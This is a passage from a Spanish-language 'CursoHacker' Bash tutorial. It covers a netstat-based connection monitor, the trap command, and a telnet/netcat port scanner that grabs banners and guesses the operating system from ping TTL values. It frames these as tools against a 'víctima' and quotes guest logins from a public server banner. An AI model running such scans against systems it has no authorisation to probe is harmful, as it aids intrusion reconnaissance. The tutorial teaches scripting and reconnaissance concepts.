done | awk '/>/ { $1 = "Entro: "; print $1, $6 }
/</ { $1 = "Se pelo: "; print $1, $6 }'

Y nuestro programa vigilará las IPs que se conectan y desconectan a


nuestro servidor. Noten que no es necesario ser root para correrlo.

El motor de este programa está en el comando de red “netstat” para


obtener la información, en el comando “diff” para comparar los dos
archivos y en el comando “mv” para moverlos.

Pseudocódigamente hablando, el programa mira una vez por segundo


si existen conexiones TCP nuevas, compara los datos obtenidos con la
salida anterior e imprime solo la diferencia.

Antes de meternos de lleno en como el programa hace su trabajo


veamos el tema de los archivos temporales (que seguro dedujeron)…
Es muy común que los comandos ejecutados dejen archivos en el
directorio “/tmp”, en nuestro caso los archivos que hemos creado son
“ttelnet1.$$” y “ttelnet2.$$” y estarán en “/tmp”. Recuerden que la
terminación “$$” nos devolverá el numero del proceso ;).

Si ustedes no quieren que el administrador del sistema sepa de que


programa salen los archivos temporales pueden poner otro nombre,
igualmente él podrá enterarse, en unix hay maneras de rastrear todo.

Siguiendo aparece la variable “nuevo” que tendrá su salida en el


archivo “ttelnet1.$$” y la variable “viejo” cuya salida estará en el
archivo “ttelnet2.$$”. Si miran más adelante y les cae la ficha sabrán
que “telnet1.$$” estará solo un segundo en tmp… oh! es increíble :P!.

Luego de declarados los archivos se hace el primer netstat, se envía


su salida a la variable “$viejo” y comienza el trabajo del while!, que
para nuestro interés será eterno (ya que “:” es un comando especial
que devuelve siempre verdadero). No pregunten como pararlo (Y).

A continuación (ya dentro del while) se envía una nueva salida de


netstat a la variable “$nuevo” y se compara con la variable “$viejo”
(que tiene el netstat anterior adentro).

Finalmente (dentro del while), nos valemos del comando mv para


mover el nuevo netstat incluido en la variable “$nuevo” a "$viejo",
con lo cual desaparece momentáneamente la variable “$nuevo” ;).

Esperamos 1 segundo (gracias a la línea “sleep 1”) y todo el cuerpo


vuelve a ejecutarse.

Finalmente y terminado el cuerpo del while faltaría arreglar algo… La


salida de diff utiliza los símbolos “<” y “>” para diferenciar entre el
archivo de entrada y salida, por lo cual nos valdremos de “awk” para
eliminarlos e imprimir un mensaje de quien entra y quien sale.

Aparte, no queda muy bien que se imprima toda la línea del netstat y
considero que con solo la IP nos bastará así que utilizando “awk”
también le damos una salida con un formato más ajustado.

Antes de terminar y solo para demostrarles que yo también disfruto


probando los programitas, les pasaré una salida de cómo quedó
funcionando el mío :P. Los que quieran pueden pedirle a su profe en
línea que les haga un telnet y corroborar que funciona, mi salida es…

bash-2.05b$ ./vigilantebotonalcahueteantichorro.bash
Entro: 192.168.100.7:1029
Se pelo: 192.168.100.7:1029
Este programa tiene muchos errores aparte de no hacer exactamente
lo que nosotros queremos :P, ya que por ejemplo no actuará a partir
de telnet sino que reaccionará con cualquier puerto TCP XD.

Si quieren hacer que funcione solo para telnet tendrán que utilizar un
filtro más poderoso, en este caso uno combinando “sed”, “egrep”,
“cut” y algo mas sobre “netstat”, se los dejo a Uds., vuelvan cuando
hayan terminado…

Tic tac toe, tic tac toe, tic tac toe :P…
… tic tac toe, tic tac toe… (pero que buen sonido), tic tac toe…
blah blah bloeh, blah blah bloeh… pero que bien :D !!!!
y… la la loe, la la loe… la la loe, Vamos todos :) !!, terminaron?¿…
… la la la tic tac toe, tic blah bloe :P… casi me hice adicto :B
… y como nunca van a terminar, procedo… procedo, procedoe :P.

Sigo, sigo, sigoe XD… Entonces, para esto (lo anterior que Uds. no
pudieron hacer), utilizaremos un comando muy complejo, que vamos
a tener que estudiar bastante para entenderlo, al igual que deberán
repasar la salida de netstat con sus campos.

Pero antes, hay otro error en el script relacionado con los archivos en
“tmp”. Cuando el programa es interrumpido se deben borrar estos
archivos, lo cual me da paso para explicar el tema de las señales y el
comando “trap” para detectar interrupciones.

En unix todos los programas tienen la capacidad de enviar y recibir


señales con el fin de poder ejecutar acciones en caso de que sucedan.

Como es lógico cada señal tiene un identificador asociado, en nuestro


caso son números y las señales que nos interesan son…

1 “hangup”, indica corte de línea.


2 “interrupt”, indica “^C”.
3 “quit”, indica un vaciado de memoria.
9 “kill”, indica una finalización forzada del proceso.
15 “software termination”, señal generada por el comando kill.

Conozcamos al comando “trap”, el cual tiene la siguiente sintaxis…

trap comandos números-de-señal.

De esta forma podemos ejecutar en nuestro programa (antes del ciclo


while) el siguiente comando…

trap 'rm -f $nuevo $viejo; exit 1' 1 2 15


Para usar el comando “trap” debemos de llamar a “exit”, sino el
programa continuará ejecutándose luego de pasada la interrupción.

El comando “exit” termina una función del shell inmediatamente.

Ya se que no entendieron un carajo pero esperen a ver como queda


nuestro script mejorado y luego repasen, verán la matrix ;)…

#!/bin/bash
#Primera mejora y ya quedo saladisimo ;).
nuevo=/tmp/ttelnet1.$$
viejo=/tmp/ttelnet2.$$
netstat | sed 's/[[:space:]]\+/ /g' | egrep "tcp 0 0
[^[:space:]]+:telnet.*$" | cut -d " " -f 5 > $viejo
trap 'rm -f $nuevo $viejo; exit 1' 1 2 15
while :
do
netstat | sed 's/[[:space:]]\+/ /g' | egrep "tcp 0 0
[^[:space:]]+:telnet.*$" | cut -d " " -f 5 > $nuevo
diff $viejo $nuevo
mv $nuevo $viejo
sleep 1
done | awk '/>/ { $1 = "Entro: "; print $1, $2 }
/</ { $1 = "Se pelo: "; print $1, $2 }'

Lo nuevo importante acá es el filtro con el cual hacemos todo el


trabajo :). Presten atención al copiar, no quiero que solamente
transcriban y vean que funciona, deben identificar las partes antes de
copiar, dicho de otro modo: Cuidado con donde terminan sus líneas!.

Expliquemos el espectacular y tan anunciado filtro, que en realidad no


creo que les complique mucho la vida ya que con toda la papa que se
comieron en el punto anterior, esto es una macita.

Con el primer “sed” filtramos la salida del comando netstat para que
los espacios blancos (como por ejemplo tabuladores) se conviertan en
espacios blancos comunes.

Luego utilizamos el comando “egrep” para que se vean las líneas que
empiecen con “tcp 0 0 ” (recuerden de ver bien la salida del comando
“netstat” sin filtrados). Posteriormente y con el mismo “egrep” se
imprimen las líneas que no son espacios blancos ni tabuladores luego
de “tcp 0 0 ”, campo que además deberá terminar con “:telnet.*$”.

Finalmente “cut” separa los campos por medio de espacios e imprime


la quinta posición.

Prueben el programa y vean si encuentran algún “bug” probando las


diferentes posibilidades, en caso de ser así traten de arreglarlo para
que quede mejor ;).
Antes de terminar este fantástico punto sobre programación Bash voy
a comentar (porque realmente ya no necesita explicación) algo que
me extraña no me hayan cuestionado… claro!!, mirando lo que viene
abajo de repente todos lo estaban esperando… malditos!!! :~), ven
porque me caen mal?¿ :P… bueno, Bash también acepta funciones.

Hacer una función en Bash es tarea para kiddies (marranos, mocosos,


pendejos, sopencos, gilipollas, soplaquenas, etc…) así que ya saben
nunca escriban una función :P. Bué, cortando la pavada, para hacerlo
simplemente deben de escribir (que conste que esto que sigue no lo
escribo yo sino un intérprete que levante en la calle) XD…

function algo
{
comandos
}

Y para llamar a la función (en otra parte del código) simplemente…

#!/bin/bash
algo
...

Aunque también podemos llamar a una función de esta otra forma…

function algo()
{
comandos
}

…pues así creamos y llamamos a una función del shell, en donde los
comandos son su cuerpo y alma.

Dejémonos de aprender y pasemos a disfrutar un poco la fascinación


nueva…

4º PrOyExTo - Scanner de Puertos

Vistas las características importantes del lenguaje de programación


Bash e importantes filtors comencemos nuestro primer proyecto.
Desarrollaremos un programa de utilidad hacker ¡¡¡ oooohhhhh :O !!!,
crearemos un Sacanner de Puertos… y algo más. Acompáñenme por
favor… ;)

…… elegí una pastilla ……


Si elegiste la pastilla azul te gusta el Capitán América, además
cuando estés por la mitad del proyecto te van a venir unas ganas
insaciables de bailar y vas a terminar arrancando pa un baile.

Si te tomaste la roja te comes los fideos con tuco, sos un asqueroso y


no me hagas hablar más adelante de la gente.

En casa de herrero cuchillo de palo así que con todo a favor, intentaré
ser breve y dirigir dignamente el proyecto que nos espera…

Si bien Bash no es el lenguaje de programación más adecuado para


llevar adelante esta tarea (es preferible C o perl), podremos hacerlo
mediante lo que aprendimos hasta ahora, dejándolo muy completo y
eficiente.

Empezaré con lo más básico e iré agregando distintas capacidades


para emparejarlo con las conocidas herramientas que realizan esta
misma tarea.

Lo importante de esto será que crearemos desde 0 un programa en


Bash y entenderemos completamente su funcionamiento.

Sin más que hablar pasemos veamos la versión 0.1 del scanne r…

#!/bin/bash
# Estupido scanner de puertos comunes, esta version
# tiene muchos horrores.
# Por ahora hacemos que el scanner solo funcione en localhost y
# actuamos sobre los puertos 21, 22, 23 y 79.
# Esta es la version 0.1 y contiene mas que nada "la idea".
telnet localhost 21 > /tmp/sscanner1.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner1.$$)
then
echo " -> puerto ftp abierto"
else
echo " -> puerto ftp cerrado"
fi
telnet localhost 22 > /tmp/sscanner2.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner2.$$)
then
echo " -> puerto ssh abierto"
else
echo " -> puerto ssh cerrado"
fi
telnet localhost 23 > /tmp/sscanner3.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner3.$$)
then
echo " -> puerto telnet abierto"
else
echo " -> puerto telnet cerrado"
fi
telnet localhost 79 > /tmp/sscanner4.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner4.$$)
then
echo " -> puerto finger abierto"
else
echo " -> puerto finger cerrado"
fi
rm /tmp/sscanner*

Muchachos, aunque parezca mentira han hecho un gran trabajo! :P,


su versión 0.1 tiene resuelto la mitad del problema, vengan que les
voy a explicar lo que pasa en este programa que Uds. mismos acaban
de escribir, no sin antes ver una salida tipo…

bash-2.05b$ ./sscanner01.bash
Connection closed by foreign host.
Connected to localhost.
-> puerto ftp abierto
telnet: connect to address 127.0.0.1: Connection refused
-> puerto ssh cerrado
Connection closed by foreign host.
Connected to localhost.
-> puerto telnet abierto
Connection closed by foreign host.
Connected to localhost.
-> puerto finger abierto

Abriendo un par de puertos podemos ver como el programa funciona


en nuestra maquina y no se equivoca aunque la salida no es del todo
bonita.

Lo primero que realiza es un telnet al puerto “21” de “localhost” con


la salida redirigida a un archivo temporal, como esto ya fue visto no
necesita mayores explicaciones.

Ahora… qué es lo que pasa en el archivo temporal?¿, prueben hacer


un telnet al puerto “21” y vean la salida…

bash-2.05b$ telnet localhost 21


Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [chteam]

La parte “Connectet to localhost.” de esta salida es común a todos los


puertos abiertos por lo que nos servirá como un patrón para “grep”
con el fin de interpretar si un puerto está abierto o cerrado, esto se
ve claramente en la siguiente línea…
if(grep "Connected to localhost." /tmp/sscanner1.$$)

Además, con la ayuda de “if” programamos que: “Si el patrón está en


el archivo temporal el puerto está abierto, sino está cerrado".

Tan sencillo como eso, la idea básica de nuestra primera versión es


que el shell ejecuta los comandos en orden, hará uno a uno todos los
telnet a esos puertos, dormirá dos segundos para que el escaneo no
sea tan agresivo y tener tiempo para leer los mensajes que llegan por
parte del servidor y fin!.

Por último borramos los archivos creados, que pronto tendrán mayor
participación para darle “color” a nuestro programa ;).

Empezando las mejoras, se me ocurre que la salida actual es “fea” ya


que salen muchas cosas que no son de nuestro interés, tratemos de
filtrarlas…

#!/bin/bash
# Mejorado con una salida mas bonita. sscanner02.bash v 0.2
telnet localhost 21 2>/dev/null > /tmp/sscanner1.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner1.$$ > /dev/null)
then
echo " -> puerto ftp abierto"
else
echo " -> puerto ftp cerrado"
fi
telnet localhost 22 2>/dev/null > /tmp/sscanner2.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner2.$$ > /dev/null)
then
echo " -> puerto ssh abierto"
else
echo " -> puerto ssh cerrado"
fi
telnet localhost 23 2>/dev/null > /tmp/sscanner3.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner3.$$ > /dev/null)
then
echo " -> puerto telnet abierto"
else
echo " -> puerto telnet cerrado"
fi
telnet localhost 79 2>/dev/null > /tmp/sscanner4.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner4.$$ > /dev/null)
then
echo " -> puerto finger abierto"
else
echo " -> puerto finger cerrado"
fi
rm /tmp/sscanner*
Veamos la nueva salida ahora…

bash-2.05b$ ./sscanner02.bash
-> puerto ftp cerrado
-> puerto ssh cerrado
-> puerto telnet abierto
-> puerto finger abierto

Mucho mejor no?¿, esto lo hicimos gracias al dispositivo “/dev/null”,


gracias al cual podemos enviar datos que para que sean desechados
sin consultar y en forma totalmente irrecuperable.

Para empezar tenemos esto…

telnet localhost 21 2>/dev/null > /tmp/sscanner1.$$ &

Siempre que se ejecutan programas hay por lo menos tres archivos


abiertos, estos son la entrada estándar (el teclado), la salida estándar
(la pantalla) y el error estándar (mensajes de error de los programas
se envían a la salida standard).

Cada archivo abierto tiene lo que se llama un “descriptor de archivo”,


lo cual no es más que un número entero.

En nuestro caso el descriptor de archivo para la entrada standard es


el “0”, para salida tenemos el “1” y para el error el “2”.

Los mensajes de tipo “Connection closed by foreign host.” son errores


del programa telnet que se muestran en pantalla para información del
usuario, en nuestro caso esto no es de importancia, es más, es hasta
molesto :G.

Por esto hemos lo redireccionado a “/dev/null”, deshaciéndonos de él


para siempre y viendo solo lo que nosotros queremos >) ¡¡maldito!!.

También tenemos otros mensajes molestos devueltos por grep, el


cual al encontrar una línea que concuerde con el patrón la imprime en
pantalla. Pues esto tampoco tiene valor para nosotros así que
también lo desaparecemos redireccionando la salida a “/dev/null”.

if(grep "Connected to localhost." /tmp/sscanner1.$$ > /dev/null)

Ustedes ya deberían saber lo que es un “banner scanner” (o escaneo


de banners), pero como suelen ser mas distraídos que atentos, voy a
recordárselos así como también que el CD2 está hasta las manos de
utilidades competencia de este programa.

Al conectarnos vía telnet a un servicio lo primero que vemos es cierta


información acerca del servidor, por ejemplo su nombre y versión.
El trabajo de un “banner scanner” es grabar la primeras líneas que
arrojan los servidores en sus puertos abiertos, lo cual tiene la utilidad
de proporcionarnos información sobre los servicios con el fin de que
podamos ir al grano más fácilmente ;)… tampoco festejen, recuerden
lecciones anteriores, Honeypots por ejemplo.

En la versión 0.3 de nuestro scanner incluiremos esta posibilidad y el


primer diseño es el siguiente…

#!/bin/bash
# En esta version incluimos banner scanner !!! Im so c00l! :)
telnet localhost 21 2>/dev/null > /tmp/sscanner1.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner1.$$ > /dev/null)
then
echo " -> puerto ftp abierto"
cat /tmp/sscanner1.$$
else
echo " -> puerto ftp cerrado"
fi
telnet localhost 22 2>/dev/null > /tmp/sscanner2.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner2.$$ > /dev/null)
then
echo " -> puerto ssh abierto"
cat /tmp/sscanner2.$$
else
echo " -> puerto ssh cerrado"
fi
telnet localhost 23 2>/dev/null > /tmp/sscanner3.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner3.$$ > /dev/null)
then
echo " -> puerto telnet abierto"
cat /tmp/sscanner3.$$
else
echo " -> puerto telnet cerrado"
fi
telnet localhost 79 2>/dev/null > /tmp/sscanner4.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner4.$$ > /dev/null)
then
echo " -> puerto finger abierto"
cat /tmp/sscanner4.$$
else
echo " -> puerto finger cerrado"
fi
rm /tmp/sscanner*

Simplemente hemos puesto un “cat” para ver el archivo temporal con


el banner antes de borrarlo, veamos una salida…

bash-2.05b$ ./sscanner03.bash
-> puerto ftp abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [chteam]
-> puerto ssh abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
-> puerto telnet abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
-> puerto finger abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Qué sucede acá?¿, el banner del FTP fue capturado correctamente, el


de finger lógicamente no da nada… pero que paso con telnet y ssh!!?¿

Observen esto…

bash-2.05b$ telnet localhost ssh


Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.5p1

bash-2.05b$ telnet localhost 79


Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Como vemos y sabíamos de prácticas anteriores, esta salida de finger


es normal ya que no “da” nada, no así la de SSH que efectivamente
tiene un mensaje… así que diría un policía amigo: Acá hay algo que
no anda mal :B… investiguemos que puede ser :P…

Amigos, mientras Uds. escribían el nuevo código se me ha ocurrido


una cosa mejor… Que tal si incorporamos una conocida herramienta
de red para darle mayor potencial y alcance a nuestro programa?¿…
están de acuerdo?¿… no?¿, bueno con Uds. “netcat” :P.

A diferencia de VVruindous, Slackware (y la mayoría de las distros


GNU/Linux) trae integrado este programa en “/usr/bin/”.

Como todos recuerdan netcat está especializado en el manejo de


conexiones TCP/IP y como su autor lo dice: “Es la navaja suiza del
protocolo”.
Como vimos hace muchas semanas “nc” tiene una infinidad de
características, mientras que en su forma más simple se limita a
establecer una conexión TCP (“nc host_IP puerto”).

Veamos entonces como implementar netcat en los casos en los que


no tuvimos la respuesta esperada. Aclaración: Esto no lo hacemos
porque no sepamos solucionar el inconveniente sino porque vamos a
agregarle funcionalidad a nuestra creación :P, enjoy…

#!/bin/bash
# En esta version incluimos banner scanner !!! Im so c00l! :)
# Mejorado gracias al buen amigo netcat.
telnet localhost 21 2>/dev/null > /tmp/sscanner1.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner1.$$ > /dev/null)
then
echo " -> puerto ftp abierto"
cat /tmp/sscanner1.$$
else
echo " -> puerto ftp cerrado"
fi
nc localhost 22 2>/dev/null > /tmp/sscanner2.$$ &
sleep 2
if(grep "SSH" /tmp/sscanner2.$$ > /dev/null)
then
echo " -> puerto ssh abierto"
cat /tmp/sscanner2.$$
else
echo " -> puerto ssh cerrado"
fi
nc -t localhost 23 2>/dev/null > /tmp/sscanner3.$$ &
sleep 2
if(grep "login" /tmp/sscanner3.$$ > /dev/null)
then
echo " -> puerto telnet abierto"
cat /tmp/sscanner3.$$
else
echo " -> puerto telnet cerrado"
fi
telnet localhost 79 2>/dev/null > /tmp/sscanner4.$$ &
sleep 2
if(grep "Connected to localhost." /tmp/sscanner4.$$ > /dev/null)
then
echo " -> puerto finger abierto"
cat /tmp/sscanner4.$$
else
echo " -> puerto finger cerrado"
fi
rm /tmp/sscanner*

La nueva salida será la siguiente…

bash-2.05b$ ./sscanner04.bash
-> puerto ftp abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [chteam]
-> puerto ssh abierto
SSH-1.99-OpenSSH_3.5p1
-> puerto telnet abierto
?? ?? ??#??'?? ?? ??????!?? ?? Conectado a 69.69.69.69
Windows 76 (c) - Power Calc v0.34 beta
CursoHacker Telnet Server v69.7 ready.
login: -> puerto finger abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Vemos como la salida de netcat en el puerto telnet nos tira algunos


caracteres raros pero no nos molesta ya que lo importante es el
banner que si obtuvimos con la información que deseábamos. Pueden
añadir una nueva línea antes del “-> puerto finger abierto” para que
les quede en otra línea y sea legible. Esto lo haremos simplemente
colocando un “echo \n” antes del mensaje. Veamos como queda…

bash-2.05b$ ./sscanner041.bash
-> puerto ftp abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [chteam]
-> puerto ssh abierto
SSH-1.99-OpenSSH_3.5p1
-> puerto telnet abierto
?? ?? ??#??'?? ?? ??????!?? ?? Conectado a 69.69.69.69
Windows 76 (c) - Power Calc v0.34 beta
CursoHacker Telnet Server v69.7 ready.
login:
-> puerto finger abierto
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Antes de expandir el programa agregándole todos los puertos de


interés y hacerlo más interactivo y ordenado se me ocurre desarrollar
una característica muy interesante… Se trata de agregar la capacidad
de obtener el sistema operativo del host en cuestión ;).

Antes de ver como programarlo pasemos a una breve explicación de


esta técnica…

Dependiendo de determinadas características al responder a ciertos


paquetes TCP/IP, los sistemas operativos reaccionan diferente. Esto
es comúnmente conocido por las “huellas digitales” que dejan los
sistemas cuando responden a ciertas peticiones.
En tiempos antiguos uno podía obtener el sistema operativo de un
servidor con la información proporcionada por el servidor telnet, por
ejemplo…

bash-2.05b$ telnet manson.vistech.org


Trying 66.0.156.240...
Connected to manson.vistech.org.
Escape character is '^]'.

Welcome To Manson.vistech.net [uVAX 3100/80 Under OpenVMS 7.2]

dMMMMMMMMb .aMMMb dMMMMb .dMMMb .aMMMb dMMMMb


dMP"dMP"dMd dMP"dMP dMP dMP dMP" VP dMP"dMP dMP dMP
dMP dMP dMP dMMMMMP dMP dMP VMMMb dMP dMP dMP dMP
dMP dMP dMP dMP dMP dMP dMP dP .dMP dMP.aMP dMP dMP
dMP dMP dMP dMP dMP dMP dMP VMMMP" VMMMP dMP dMP

Public Access VAX/OpenVMS 7.2

For more information about how to get a account here,


please check out http://deathrow.vistech.net!

---------------------------------------------------------------------
Want account? New users... Login under -> "NEWUSER"/Password="NEWUSER"
"Guest" access to a DCL prompt Login Under -> "DEMO"/Password="USER"
To play the online GAMES.. Login under -> "GAMES"/Password="PRESSPLAY"
----------------------------------------------------------------------

Note: MANSON is the _slower_ machine in the cluster. You can use
DAHMER.VISTECH.NET, which is faster, and all you files will be
available.

Username:

Al momento de escribir esto vemos que el sistema operativo es un


“VAX/OpenVMS 7.2”, cuando lean estas palabras seguramente haya
cambiado, a nuestros efectos da igual :).

Hoy en día esta información no es confiable, siendo una práctica


común (y recomendada) cambiarla para confundir a los posibles
atacantes. Por este motivo no nos fiaremos y buscaremos nuestra
alternativa.

En otro extremo tenemos técnicas muy sofisticadas como por ejemplo


la que utiliza nuestra competencia (el scanner nmap), que estudia la
pila TCP/IP e intenta deducir el sistema operativo que genera los
paquetes a partir de patrones en su estructura y contenido.

En nuestro caso, modestamente, con varios sistemas que han tomado


medidas al respecto, pero interesante y aplicable a nuestro primer
proyecto, nos valdremos del tiempo de vida de los paquetes para
deducir el SO.
Como saben de lecciones anteriores este tiempo es diferente en la
mayoría de los sistemas operativos y si bien nuestro método no va a
ser el más exacto (ya que como decía muchos SO lo comparten) será
una buena demostración de una de las técnicas para detectar el SO
de la víctima.

Más adelante y cuando tengan la capacidad estudiaremos en detalle


el mecanismo que usa “nmap” y por que se puede confiar en plenitud
cuando nos comunica un resultado de huella digital detectada ;).

Antes de ver un ejemplo les comento que en breve también veremos,


(más allá de acuerdos e implementaciones propias de los sistemas
operativos), las técnicas utilizadas para evitar el descubrimiento por
“huella digital”, lo cual se implementa en sistemas de alta seguridad,
siendo por un porcentaje muy bajo de los hosts disponibles en Inet.

Pasemos al ejemplo…

Sabemos que un tiempo de vida característico en sistemas operativos


Microsoft Windows es “128”.

#!/bin/bash
# Prueba para detectar sistema operativo
ttl='ping -c 1 192.168.100.12 | sed -n 2p | awk '{ print $6'} |
awk 'BEGIN {FS = "="} END {print $2}' '
case "$ttl" in
128) echo "El Sistema Operativo remoto es Gringoüs."
esac

El filtro es simple y su función es obtener el campo que contiene valor


numérico del tiempo de vida en el comando ping.

Ejecutemos la prueba ante una maquina corriendo Windows…

bash-2.05b$ ./pruebaos.bash
El Sistema Operativo remoto es Gringoüs.

Charán!!!, funciona tal y como lo esperamos. Para saber los valores


de los tiempos de vida de los sistemas operativos más comunes nos
valdremos de una versión reducida y compacta de la que pueden
encontrar en “http://project.honeynet.org/papers/finger/traces.txt”.

Sistema TTL

DC-OSx 30
Windows 9x/NT 32
NetApp 54
HPJetDirect 59
AIX 4.3.x 60
AIX 4.2.x 60
Cisco 11.2 60
DigitalUnix 4.0 60
IRIX 6.x 60
OS390 2.6 60
Reliant 5.43 60
FreeBSD 3.x 64
JetDirect G.07.x 64
Linux 2.2.x/2.4.x 64
OpenBSD 2.x 64
OS/400 R4.4 64
SCO R5 64
Solaris 8 64
FTX(UNIX) 3.3 64
Unisys 64
Netware 4.11 128
Windows 9x/NT 128
Windows 2000 128
Cisco 12.0 255
Solaris 2.x 255

Si bien podemos apreciar que varios sistemas operativos comparten


los valores de tiempo de vida, esta técnica combinada con otras nos
dará un pronóstico bastante acertado.

Por ejemplo, en este caso particular el dato es suficiente para conocer


ante que familia de SO estamos ya que entre los Windows y Netwares
existe una diferencia enorme en cuanto a los servicios y versiones
que manejan, por lo que luego de ver los banners no habrán dudas.

Continúen programando y agreguen esta nueva característica a su


preciada creación…

#!/bin/bash
# Deteccion del sistema operativo con el metodo ttl, ademas de
# interactividad pudiendo colocar la IP del servidor a escasear
# e ir haciendo "pruebitas" por ahi :B.
case $# in
0) echo "Uso: ./sscanner05.bash ip" 1>&2; exit 1
esac
ip="$1"
telne $ip 21 2>/dev/null > /tmp/sscanner1.$$ &
sleep 2
if(grep "Connected to $ip." /tmp/sscanner1.$$ > /dev/null)
then
echo " -> puerto ftp abierto"
else
echo " -> puerto ftp cerrado"
fi
telnet $ip 22 2>/dev/null > /tmp/sscanner2.$$ &
sleep 2
if(grep "Connected to $ip." /tmp/sscanner2.$$ > /dev/null)
then
echo " -> puerto ssh abierto"
else
echo " -> puerto ssh cerrado"
fi
telnet $ip 23 2>/dev/null > /tmp/sscanner3.$$ &
sleep 2
if(grep "Connected to $ip." /tmp/sscanner3.$$ > /dev/null)
then
echo " -> puerto telnet abierto"
else
echo " -> puerto telnet cerrado"
fi
telnet $ip 79 2>/dev/null > /tmp/sscanner4.$$ &
sleep 2
if(grep "Connected to $ip." /tmp/sscanner4.$$ > /dev/null)
then
echo " -> puerto finger abierto"
else
echo " -> puerto finger cerrado"
fi
rm /tmp/sscanner*
ttl=`ping -c 1 $ip | sed -n 2p | awk '{ print $6'} | awk 'BEGIN
{FS = "="} END {print $2}'`
case "$ttl" in
30) echo " Sistema operativo: DC-OSx";;
32) echo " Sistema operativo: Windows 9x/NT";;
54) echo " Sistema operativo: NetApp";;
59) echo " Sistema operativo: HPJetDirect";;
60) echo " Posibles sistemas operativos: AIX 4.3.x
AIX 4.2.x
Cisco 11.2
DigitalUnix 4.0
IRIX 6.x
OS390 2.6
Reliant 5.43";;
64) echo " Posibles sistemas operativos: FreeBSD 3.x
JetDirecit G.07.x
Linux 2.2.x/2.4.x
OpenBSD 2.x
OS/400 R4.4
SCO R5
Solaris 8
FTX(UNIX) 3.3
Unisys";;
128) echo " Posibles sistemas operativos: Netware 4.11
Windows 9x/NT
Windows 2000";;
255) echo " Posibles sistemas operativos: Cisco 12.0
Solaris 2.x";;
esac
Como pueden apreciar esta versión no incluye la parte del “banner
scanner”, funcionalidad que reincorporaremos cuando mejoremos el
código en versiones posteriores.

La primera novedad es que el script es interactivo, comprueba el


número de argumentos y despliega un mensaje de error en el caso de
no ser los esperados.

También aparece un redireccionamiento “1>&2”, evitando perder los


mensajes de error para casos en los que usemos el scanner con algún
tipo de redireccionamiento o tubería.

En la parte de la detección del sistema operativo no creo que haya


demasiada novedad, gracias a “case” y dependiendo del “TTL” que
nos da el filtro escribimos con echo los posibles sistemas operativos
detectados.

Veamos algunos ejemplos de salida…

bash-2.05b$ ./sscanner05.bash localhost


-> puerto ftp cerrado
-> puerto ssh abierto
-> puerto telnet abierto
-> puerto finger abierto
Posibles sistemas operativos: FreeBSD 3.x
JetDirecit G.07.x
Linux 2.2.x/2.4.x
OpenBSD 2.x
OS/400 R4.4
SCO R5
Solaris 8
FTX(UNIX) 3.3
Unisys

bash-2.05b$ ./sscanner05.bash 192.168.100.7


-> puerto ftp cerrado
-> puerto ssh cerrado
-> puerto telnet cerrado
-> puerto finger cerrado
Posibles sistemas operativos: Netware 4.11
Windows 9x/NT
Windows 2000

Hay algo superimportante y básico que me estaba olvidando respecto


al tema de las interrupciones. Qué pasa con los archivos temporales
antes de que el programa llegue a ejecutar rm?¿, pues no se borran!.

Ya saben como mejorar este aspecto ya que hace unas páginas vimos
el mismo problema… Hacer programas seguros es muy importante si
quieren lograr que otras personas usen sus herramientas, además de
proteger su privacidad. Recuerden: Cuando hablamos de seguridad
informática todo debe ser lo más hermético y sigiloso que podamos.

Entonces, para solucionar esto agregamos lo siguiente justo antes de


que comience el primer if que escanea los puertos…

trap 'rm /tmp/sscanner*; exit 1' 1 2 15

Y bueno… como un programa Bash no estaría “completo” sin ser


ordenado, compactado y maquillado, procederemos a ordenarlo en
funciones (una función por opción que tomaremos), consiguiendo la
última versión conjunta (y por primer vez presentable) de este nexo
de amor que nos ha seducido durante estas últimas páginas %)…

#!/bin/bash
# SScaNNer v0.6

function mensaje()
{
echo "###################################################"
echo "# sScaNnEr v0.6 #"
echo "# Alumnoz y CH un solo CoRaZoN (L) #"
echo "# www.CursoHacker.com #"
echo "###################################################"

function uso()
{

echo "Uso: $0 [opciones] ip"


echo "Las opciones son:"
echo "-h: imprime esta ayuda"
echo "-s: scan simple"
echo "-o: trata e averiguar un posible sistema operativo"
echo "-b: scanner de puertos y banner scan"
}

function simple()
{
trap 'rm /tmp/sscanner*; exit 1' 1 2 15

telnet $ip 21 2>/dev/null > /tmp/sscanner21.$$ &


sleep 2
if(grep "Connected to $ip." /tmp/sscanner21.$$ > /dev/null)
then
echo "-> Puerto ftp abierto en "$ip"."
else
echo "-> Puerto ftp cerrado en "$ip"."
fi

telnet $ip 22 2>/dev/null > /tmp/sscanner22.$$ &


sleep 2
if(grep "Connected to $ip." /tmp/sscanner22.$$ > /dev/null)
then
echo "-> Puerto ssh abierto en "$ip"."
else
echo "-> Puerto ssh cerrado en "$ip"."
fi

telnet $ip 23 2>/dev/null > /tmp/sscanner23.$$ &


sleep 2
if(grep "Connected to $ip." /tmp/sscanner23.$$ > /dev/null)
then
